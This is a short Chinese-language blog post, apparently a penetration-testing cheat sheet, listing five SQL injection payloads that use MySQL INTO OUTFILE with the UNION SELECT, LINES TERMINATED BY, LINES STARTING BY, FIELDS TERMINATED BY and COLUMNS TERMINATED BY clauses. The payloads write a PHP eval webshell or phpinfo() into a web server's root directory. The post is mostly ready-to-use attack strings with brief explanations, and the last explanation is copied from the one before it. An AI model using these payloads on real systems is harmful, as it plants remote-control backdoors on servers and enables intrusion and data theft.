MYSQL寫入一句話的方式

一、union select 後寫入
最常見的寫入方式,union select 後跟 into outfile 語句

1' union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --+
1' union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "C:/phpStudy/PHPTutorial/WWW/shell.php" --+
		注意:在windows下,位置的分隔符爲 / 或 \\。

二、lines terminated by 寫入

id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' lines terminated by '<?php @eval($_POST[cmd]);?>' --+
id=1' limit 1 into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' lines terminated by '<?php phpinfo() ?>' --+
		
通過select語句查詢的內容寫入文件,也就是 1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' 這樣寫的原因,
然後利用 lines terminated by 語句拼接webshell的內容。lines terminated by 可以理解爲 以每行終止的位置添加 xx 內容。

三、lines starting by 寫入

?id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' lines starting by '<?php phpinfo() ?>'; --+
	利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解爲 以每行開始的位置添加 xx 內容。

四、fields terminated by 寫入

?id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' fields terminated by '<?php phpinfo() ?>' --+
	利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解爲 以每個字段的位置添加 xx 內容。

五、COLUMNS terminated by 寫入

?id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' COLUMNS terminated by '<?php phpinfo() ?>' --+
	利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解爲 以每個字段的位置添加 xx 內容。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章